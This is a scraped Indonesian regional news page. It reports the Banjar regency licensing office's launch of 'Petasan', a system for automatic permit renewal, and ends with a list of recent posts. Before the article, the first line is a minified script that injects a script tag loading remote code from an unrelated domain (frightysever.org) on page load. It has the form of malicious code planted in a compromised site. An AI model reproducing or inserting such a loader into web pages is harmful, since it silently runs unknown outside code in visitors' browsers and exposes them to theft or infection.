(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Streaming

Ada ‘Petasan’ di Dinas Penanaman Modal dan Pelayanan Perizinan Terpadu Satu Pintu Banjar


MARTAPURA, Dinas Penanam Modal dan Pelayanan Perizinan Terpadu Satu Pintu (DPMPTSP) Kabupaten Banjar merilis sistem baru bidang pelayanan perijinan, Kamis (19/10).

‘Petasan’, begitu sistem anyar yang digadang-gadang akan mempermudah perijinan bagi para pelaku usaha ini dinamai. Bukan petasan dalam arti sebenarnya, ‘Petasan’ di DPMPTSP Kabupaten Banjar adalah akronim dari ‘Perizinan Tanpa Persyaratan’.

Disampaikan A H Fahri, Kepala DPMPTSP Kabupaten Banjar saat launching yang dihadiri Bupati Banjar H Khalilurrahman di pelataran Kantor DPMPTSP, ‘Petasan’ merupakan inovasi yang sengaja diciptakan untuk mempermudah proses pengurusan perpanjangan izin berjenjang.

“Untuk jenis izin berjangka dan sudah jatuh tempo, akan otomatis diperpanjang. Dengan begitu tak ada alasan lagi bagi pelaku usaha untuk tidak memperpanjang izin usahanya,” kata Fahri.

Tak hanya itu, ujar Fahri, berkas izin yang sudah otomatis diperpanjang, akan diantar langsung ke alamat pemohon menggunakan jasa perusahaan penyedia jasa pengiriman. Utamanya pemohon izin yang beralamat di sekitar Kabupaten Banjar, Banjarbaru, dan Banjarmasin.

Dengan ‘Petasan’ pula, Fahri optimis pendapatan asli daerah (PAD) perizinan dapat ditingkatkan hingga 150 persen. Karena dari 59 jenis perizinan yang dilayani di Kantor DPMPTSP, 42 di antarnya jenis perizinan berjenjang.

“Target PAD dari layanan perizinan tahun ini sebesar Rp200 juta. Dengan penerapan ‘Petasan’, tahun depan kami optimis target PAD  yang direalisasi mencapai 150 persen,” kata Fahri.

Sementara itu, Bupati Banjar H Khalilurrahman mengantakan, setiap warga negara berhak mendapat pelayanan dari pemerintah. Tak terkecuali para pelaku usaha. ‘Petasan’, salah satu upaya Pemerintah Kabupaten Banjar melalui DPMPTSP memberikan pelayanan bagi pelaku usaha.

“Pelayanan perizinan salah satu pelayanan publik yang harus diberikan perintah. Dan dalam pemerintahan Presiden Joko Widodo, pelayanan publik menjadi agenda penting. Presiden bahkan mengharuskan pelayanan perizinan paling lambat rampung sepekan,” kata H Khalilurrahman. (rudiyanto/adv)


Desy Arfianty

Recent Posts

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

2 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

3 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

4 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

6 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

8 jam ago

Waket I DPRD Kapuas Apresiasi Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Ketua I DPRD Kabupaten Kapuas Yohanes sangat mengapresiasi kegiatan pawai… Read More

8 jam ago

This website uses cookies.